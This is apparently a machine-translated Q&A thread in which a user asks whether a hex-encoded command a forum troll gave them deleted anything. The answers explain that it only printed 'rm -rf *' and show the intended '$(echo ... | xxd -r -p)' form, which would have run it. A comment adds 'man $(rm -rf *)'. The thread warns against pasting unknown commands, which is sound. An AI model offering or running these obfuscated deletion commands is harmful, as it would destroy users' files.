Sono stato indotto a copiare incollando un comando, mi ha fatto male?


129

Su un forum online, qualcuno (immagino solo di trollare con me) ha detto di inserire questo nel terminale:

(echo 726d202d7266202a | xxd -r -p)

NON METTERE QUESTO PERCHÉ NON LO SO SE FA NULLA.

Lo ha restituito nel terminale:

rm -rf *ryanmcclure@RyansLinuxBox:~$

Questo ha cancellato qualcosa? Mi chiedo perché ho sentito rm -rf *che è quel comando terribile che cancella tutto.

Modifica: Solo per chiunque legga questo è a conoscenza, mi è stato detto di inserire questo per vedere un'animazione di arte ASCII nel terminale. Tieni presente che questo è il trucco usato per ingannarmi.


40
Molto probabilmente il comando previsto dall'attaccante era $(echo ... etc)che avrebbe cancellato tutto: il $(...)mezzo "esegui questo comando, acquisisci il suo output ed eseguilo come comando". Per vederlo in azione in sicurezza, puoi provare $(echo ls)- esegue l'output di echo ls, ovvero ls- ovvero, verrà eseguito ls.

3
Sì, chiunque ti abbia dato quel grosso fallimento per non avere la minima idea di come fare in modo che la shell faccia più che decodificare la stringa.
ewanm89,

53
Sembra che il tuo sistema operativo fosse quasi ... / senza occhiali da sole ... eseguito. YEAHHhhhh ...
Joe Fish

11
Ora è il momento di andare a fare il backup di tutto ciò che per un breve momento hai pensato di poter perdere :)
MattJ

16
Quindi, hai copiato e incollato un comando da una fonte non sicura, ma l'hai digitato male? Fortunatamente a volte due errori fanno un diritto. =)
rakslice il

Risposte:


157

No, non ha fatto nulla - è solo una chiamata ravvicinata.

La parentesi dice a bash (la shell) di eseguire il contenuto in una subshell (che è un po 'inutile). Il comando eseguito echo 726d202d7266202a | xxd -r -pnon fa altro che emettere il seguente testo sullo schermo, “rm -rf *”. Se avesse eseguito quel testo come comando - invece di emettere semplicemente il testo sullo schermo - si sarebbe nei guai. Quindi, lascia che questa sia una lezione gratuita per non eseguire comandi da Internet che non capisci.


6
Non rm -rf * senza radice fare qualsiasi cosa in ogni caso?
badp,

32
@badp Lo fa. Elimina tutto nella directory corrente, il che significa / home / $ USERNAME (generalmente)
jrg

2
@badp Anche se lo fosse /, la ricorsione alla fine sarebbe andata in giro /home, e poi /home/$USERNAME, e poi sarebbe andata comunque. Tuttavia, ci dovrebbero essere molti errori di tipo "Autorizzazione negata" prima di quello.
Izkata,

16
In realtà ha rm -rf /un case speciale in modo che quel particolare comando non sia dannoso sui moderni sistemi Linux; è rm -rf *che causerà gravi danni perché probabilmente eliminerà tutti i tuoi dati personali che sono molto più preziosi del solo sistema operativo.
Jeremy Bicha,

7
In realtà è abbastanza interessante cosa succede quando si esegue rm -rf /come root. Qualcuno l'ha provato in una VM e ne ha scritto sul blog Super User: blog.superuser.com/2011/07/25/the-path-of-destruction-rm-rf
nhinkle

90

Nello spirito di "è meglio insegnare a un uomo a pescare piuttosto che dargli un pesce", ti consiglio di digitare il terminale man xxd(e sì, sono ancora un'altra persona che ti dice di inserire qualcosa nel terminale ... ma dovresti riconoscere il mancomando come sicuro).

Se non hai familiarità echo, dovresti dare un'occhiata anche a questo . Fondamentalmente, il comando che hai elencato "fa eco" alla stringa nell'output standard.

La pipe |tuttavia canalizza l'output standard nell'input standard del xxdcomando, che in questo caso è impostato per convertire una stringa in esadecimale in input formattato normale.

Quindi la risposta breve è: no, non ha cancellato nulla. Ma ha fatto eco rm -rf *al tuo schermo, che deve averti dato un po 'di freddo :-)


2
Odio quando ricevo due grandi risposte, ma devo darlo a Michael, semplicemente perché ti ha battuto per un minuto. :( Ma questa risposta è ancora buona! Probabilmente dovrei familiarizzare con l'eco ... :)
Ryan McClure,

7
Prima di inserire ciecamente i comandi trovati su Internet sul tuo computer, dovresti sempre avere almeno un'idea di ciò che fa. Se un comando è troppo lungo per essere |compreso a prima vista, suddividilo in simboli-. In effetti, controlla sempre la pagina del manuale se non conosci il comando. Ti proteggerà da questo tipo di persone e imparerai un po 'ogni volta.
jippie,

3
Il mancomando potrebbe essere l'unico che fornisce lo stesso risultato sia nel terminale che in un browser Internet.
verità,

7
Ma nota: man $(rm -rf *)è micidiale.
unperson325680,

1
Ad essere sincero, non penso che leggere le pagine man di xxd sarebbe molto utile per chiunque non sia già abbastanza esperto nell'uso della shell. Dubito davvero che l'OP avrebbe potuto determinare se quel comando avesse effettivamente danneggiato leggendo l'uomo, senza molto lavoro. Sono d'accordo sul fatto che è una buona idea sapere cosa sta facendo un comando prima di immetterlo e chiedersi in giro se non riesci a capirlo. In effetti, uno dei miei cuccioli di pet sui forum "ufficiali" di Ubuntu è che ci sono troppi consigli casuali per inserire un incantesimo magico nel terminale da parte di persone che non hanno idea.
Marty Fried,

34

L'attaccante probabilmente intendeva averti incollato $(echo 726d202d7266202a | xxd -r -p)nella tua shell. xxd decodificerebbe 726d202d7266202a in rm -rf *, che verrebbe quindi eseguito.


17
Immagino che lui (la vittima) abbia lasciato $fuori perché pensava che fosse parte del prompt invece del comando :)
Daniel Serodio

1
O forse non era un cattivo ragazzo dopo tutto ...: D
user3490458

1

se sei preoccupato che qualcuno formichi il tuo filesystem, allora chrootè a tua disposizione. chroot /random/directoryquindi esegui il comando.


18
Sarebbe utile spiegare cosa fa o implica Chroot in questo caso. Altrimenti questo sta scrivendo un altro comando ... trovato su Internet ...
Michael Durrant,

Eseguirlo in qualcosa come un container docker è anche una buona idea, ma sarebbe eccessivo (ma nel caso ...)
joshumax,

È sempre possibile eseguire il chroot indietro (o semplicemente uscire dalla shell chroot). Ciò potrebbe essere incluso nel payload dell'attacco.
Zenexer,
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.